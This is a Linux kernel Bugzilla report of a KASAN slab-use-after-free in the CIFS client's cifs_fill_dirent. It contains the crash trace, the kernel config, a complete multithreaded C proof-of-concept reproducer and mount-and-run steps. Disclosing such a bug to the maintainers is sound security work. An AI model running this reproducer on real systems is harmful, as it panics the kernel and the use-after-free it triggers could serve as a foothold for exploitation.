Bug 220131

Summary: BUG: KASAN: slab-use-after-free in cifs_fill_dirent+0xb03/0xb60 [cifs]
Product: File System Reporter: wangzhaolong1
Component: CIFSAssignee: fs_cifs (fs_cifs)
Status: NEW ---    
Severity: normal    
Priority: P3    
Hardware: All   
OS: Linux   
Kernel Version: Subsystem:
Regression: No Bisected commit-id:

Description wangzhaolong1 2025-05-16 02:17:57 UTC
==================================================================
 BUG: KASAN: slab-use-after-free in cifs_fill_dirent+0xb03/0xb60 [cifs]
 Read of size 4 at addr ffff8880099b819c by task a.out/342975
 
 CPU: 2 UID: 0 PID: 342975 Comm: a.out Not tainted 6.15.0-rc6+ #240 PREEMPT(full) 
 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.1-2.fc37 04/01/2014
 Call Trace:
  <TASK>
  dump_stack_lvl+0x53/0x70
  print_report+0xce/0x640
  kasan_report+0xb8/0xf0
  cifs_fill_dirent+0xb03/0xb60 [cifs]
  cifs_readdir+0x12cb/0x3190 [cifs]
  iterate_dir+0x1a1/0x520
  __x64_sys_getdents+0x134/0x220
  do_syscall_64+0x4b/0x110
  entry_SYSCALL_64_after_hwframe+0x76/0x7e
 RIP: 0033:0x7f996f64b9f9
 Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff  0d f7 c3 0c 00 f7 d8 64 89 8
 RSP: 002b:00007f996f53de78 EFLAGS: 00000207 ORIG_RAX: 000000000000004e
 RAX: ffffffffffffffda RBX: 00007f996f53ecdc RCX: 00007f996f64b9f9
 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000003
 RBP: 00007f996f53dea0 R08: 0000000000000000 R09: 0000000000000000
 R10: 0000000000000000 R11: 0000000000000207 R12: ffffffffffffff88
 R13: 0000000000000000 R14: 00007ffc8cd9a500 R15: 00007f996f51e000
  </TASK>
 
 Allocated by task 408:
  kasan_save_stack+0x20/0x40
  kasan_save_track+0x14/0x30
  __kasan_slab_alloc+0x6e/0x70
  kmem_cache_alloc_noprof+0x117/0x3d0
  mempool_alloc_noprof+0xf2/0x2c0
  cifs_buf_get+0x36/0x80 [cifs]
  allocate_buffers+0x1d2/0x330 [cifs]
  cifs_demultiplex_thread+0x22b/0x2690 [cifs]
  kthread+0x394/0x720
  ret_from_fork+0x34/0x70
  ret_from_fork_asm+0x1a/0x30
 
 Freed by task 342979:
  kasan_save_stack+0x20/0x40
  kasan_save_track+0x14/0x30
  kasan_save_free_info+0x3b/0x60
  __kasan_slab_free+0x37/0x50
  kmem_cache_free+0x2b8/0x500
  cifs_buf_release+0x3c/0x70 [cifs]
  cifs_readdir+0x1c97/0x3190 [cifs]
  iterate_dir+0x1a1/0x520
  __x64_sys_getdents64+0x134/0x220
  do_syscall_64+0x4b/0x110
  entry_SYSCALL_64_after_hwframe+0x76/0x7e
 
 The buggy address belongs to the object at ffff8880099b8000
  which belongs to the cache cifs_request of size 16588
 The buggy address is located 412 bytes inside of
  freed 16588-byte region [ffff8880099b8000, ffff8880099bc0cc)
 
 The buggy address belongs to the physical page:
 page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x99b8
 head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
 anon flags: 0x80000000000040(head|node=0|zone=1)
 page_type: f5(slab)
 raw: 0080000000000040 ffff888001e03400 0000000000000000 dead000000000001
 raw: 0000000000000000 0000000000010001 00000000f5000000 0000000000000000
 head: 0080000000000040 ffff888001e03400 0000000000000000 dead000000000001
 head: 0000000000000000 0000000000010001 00000000f5000000 0000000000000000
 head: 0080000000000003 ffffea0000266e01 00000000ffffffff 00000000ffffffff
 head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
 page dumped because: kasan: bad access detected
 
 Memory state around the buggy address:
  ffff8880099b8080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
  ffff8880099b8100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 >ffff8880099b8180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                             ^
  ffff8880099b8200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
  ffff8880099b8280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ==================================================================
 Kernel panic - not syncing: KASAN: panic_on_warn set ...
 CPU: 1 UID: 0 PID: 342975 Comm: a.out Not tainted 6.15.0-rc6+ #240 PREEMPT(full) 
 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.1-2.fc37 04/01/2014
 Call Trace:
  <TASK>
  panic+0x4d9/0x590
  check_panic_on_warn+0x61/0x80
  end_report+0xbd/0xe0
  kasan_report+0xc6/0xf0
  cifs_fill_dirent+0xb03/0xb60 [cifs]
  cifs_readdir+0x12cb/0x3190 [cifs]
  iterate_dir+0x1a1/0x520
  __x64_sys_getdents+0x134/0x220
  do_syscall_64+0x4b/0x110
  entry_SYSCALL_64_after_hwframe+0x76/0x7e
 RIP: 0033:0x7f996f64b9f9
 Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff  0d f7 c3 0c 00 f7 d8 64 89 8
 RSP: 002b:00007f996f53de78 EFLAGS: 00000207 ORIG_RAX: 000000000000004e
 RAX: ffffffffffffffda RBX: 00007f996f53ecdc RCX: 00007f996f64b9f9
 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000003
 RBP: 00007f996f53dea0 R08: 0000000000000000 R09: 0000000000000000
 R10: 0000000000000000 R11: 0000000000000207 R12: ffffffffffffff88
 R13: 0000000000000000 R14: 00007ffc8cd9a500 R15: 00007f996f51e000
  </TASK>
 Kernel Offset: 0x11a00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
 ---[ end Kernel panic - not syncing: KASAN: panic_on_warn set ... ]---


kernel config


```
CONFIG_CIFS=m
CONFIG_CIFS_STATS2=y
CONFIG_CIFS_ALLOW_INSECURE_LEGACY=y
CONFIG_CIFS_UPCALL=y
CONFIG_CIFS_XATTR=y
CONFIG_CIFS_POSIX=y
CONFIG_CIFS_DEBUG=y
```


POC:

```c
#define _GNU_SOURCE

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include <linux/futex.h>

static unsigned long long procid;

static void sleep_ms(uint64_t ms)
{
        usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
        struct timespec ts;
        if (clock_gettime(CLOCK_MONOTONIC, &ts))
        exit(1);
        return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static void thread_start(void* (*fn)(void*), void* arg)
{
        pthread_t th;
        pthread_attr_t attr;
        pthread_attr_init(&attr);
        pthread_attr_setstacksize(&attr, 128 << 10);
        int i = 0;
        for (; i < 100; i++) {
                if (pthread_create(&th, &attr, fn, arg) == 0) {
                        pthread_attr_destroy(&attr);
                        return;
                }
                if (errno == EAGAIN) {
                        usleep(50);
                        continue;
                }
                break;
        }
        exit(1);
}

typedef struct {
        int state;
} event_t;

static void event_init(event_t* ev)
{
        ev->state = 0;
}

static void event_reset(event_t* ev)
{
        ev->state = 0;
}

static void event_set(event_t* ev)
{
        if (ev->state)
        exit(1);
        __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
        syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
        while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
                syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

static int event_isset(event_t* ev)
{
        return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}

static int event_timedwait(event_t* ev, uint64_t timeout)
{
        uint64_t start = current_time_ms();
        uint64_t now = start;
        for (;;) {
                uint64_t remain = timeout - (now - start);
                struct timespec ts;
                ts.tv_sec = remain / 1000;
                ts.tv_nsec = (remain % 1000) * 1000 * 1000;
                syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
                if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
                        return 1;
                now = current_time_ms();
                if (now - start > timeout)
                        return 0;
        }
}

static bool write_file(const char* file, const char* what, ...)
{
        char buf[1024];
        va_list args;
        va_start(args, what);
        vsnprintf(buf, sizeof(buf), what, args);
        va_end(args);
        buf[sizeof(buf) - 1] = 0;
        int len = strlen(buf);
        int fd = open(file, O_WRONLY | O_CLOEXEC);
        if (fd == -1)
                return false;
        if (write(fd, buf, len) != len) {
                int err = errno;
                close(fd);
                errno = err;
                return false;
        }
        close(fd);
        return true;
}

static void kill_and_wait(int pid, int* status)
{
        kill(-pid, SIGKILL);
        kill(pid, SIGKILL);
        for (int i = 0; i < 100; i++) {
                if (waitpid(-1, status, WNOHANG | __WALL) == pid)
                        return;
                usleep(1000);
        }
        DIR* dir = opendir("/sys/fs/fuse/connections");
        if (dir) {
                for (;;) {
                        struct dirent* ent = readdir(dir);
                        if (!ent)
                                break;
                        if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
                                continue;
                        char abort[300];
                        snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name);
                        int fd = open(abort, O_WRONLY);
                        if (fd == -1) {
                                continue;
                        }
                        if (write(fd, abort, 1) < 0) {
                        }
                        close(fd);
                }
                closedir(dir);
        } else {
        }
        while (waitpid(-1, status, __WALL) != pid) {
        }
}

static void setup_test()
{
        prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
        setpgrp();
        write_file("/proc/self/oom_score_adj", "1000");
}

struct thread_t {
        int created, call;
        event_t ready, done;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;

static void* thr(void* arg)
{
        struct thread_t* th = (struct thread_t*)arg;
        for (;;) {
                event_wait(&th->ready);
                event_reset(&th->ready);
                execute_call(th->call);
                __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
                event_set(&th->done);
        }
        return 0;
}

static void execute_one(void)
{
        int i, call, thread;
        for (call = 0; call < 6; call++) {
                for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) {
                        struct thread_t* th = &threads[thread];
                        if (!th->created) {
                                th->created = 1;
                                event_init(&th->ready);
                                event_init(&th->done);
                                event_set(&th->done);
                                thread_start(thr, th);
                        }
                        if (!event_isset(&th->done))
                                continue;
                        event_reset(&th->done);
                        th->call = call;
                        __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
                        event_set(&th->ready);
                        if (call == 2 || call == 7)
                                break;
                        event_timedwait(&th->done, 50);
                        break;
                }
        }
        for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
                sleep_ms(1);
}

static void execute_one(void);

#define WAIT_FLAGS __WALL

static void loop(void)
{
        int iter = 0;
        for (;; iter++) {
                int pid = fork();
                if (pid < 0)
        exit(1);
                if (pid == 0) {
                        setup_test();
                        execute_one();
                        exit(0);
                }
                int status = 0;
                uint64_t start = current_time_ms();
                for (;;) {
                        if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
                                break;
                        sleep_ms(1);
                        if (current_time_ms() - start < 5000)
                                continue;
                        kill_and_wait(pid, &status);
                        break;
                }
        }
}

uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff};

void execute_call(int call)
{
                intptr_t res = 0;
        switch (call) {
        case 0:
memcpy((void*)0x20000000, "/mnt/cifs/test/\000", 16);
                res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/0x20000000ul, /*flags=*/0ul, /*mode=*/0ul);
                if (res != -1)
                                r[0] = res;
                break;
        case 1:
memcpy((void*)0x20000100, "./file0\000", 8);
                syscall(__NR_mkdirat, /*fd=*/r[0], /*path=*/0x20000100ul, /*mode=*/0ul);
                break;
        case 2:
                syscall(__NR_getdents, /*fd=*/r[0], /*ent=*/0ul, /*count=*/0ul);
                break;
        case 3:
                syscall(__NR_getdents64, /*fd=*/r[0], /*ent=*/0x20000140ul, /*count=*/0x33ul);
                break;
        case 4:
                res = syscall(__NR_socket, /*domain=*/0xaul, /*type=*/1ul, /*proto=*/0);
                if (res != -1)
                                r[1] = res;
                break;
        case 5:
                syscall(__NR_sendto, /*fd=*/r[1], /*buf=*/0ul, /*len=*/0ul, /*f=*/0x40ul, /*addr=*/0ul, /*addrlen=*/0ul);
                break;
        }

}
int main(void)
{
        syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
        syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=*/7ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
        syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
        for (procid = 0; procid < 6; procid++) {
                if (fork() == 0) {
                        loop();
                }
        }
        sleep(10000);
        return 0;
}

```
Comment 1 wangzhaolong1 2025-05-16 02:41:59 UTC
Reproduction Procedure:

// ... setup smb service
 
mkdir -p /mnt/cifs/test
modprobe cifs cifs_min_small=2
mount -t cifs -o username=xxxxx,password=xxxxx //127.0.0.1/TEST /mnt/cifs/test/

gcc poc.c
./a.out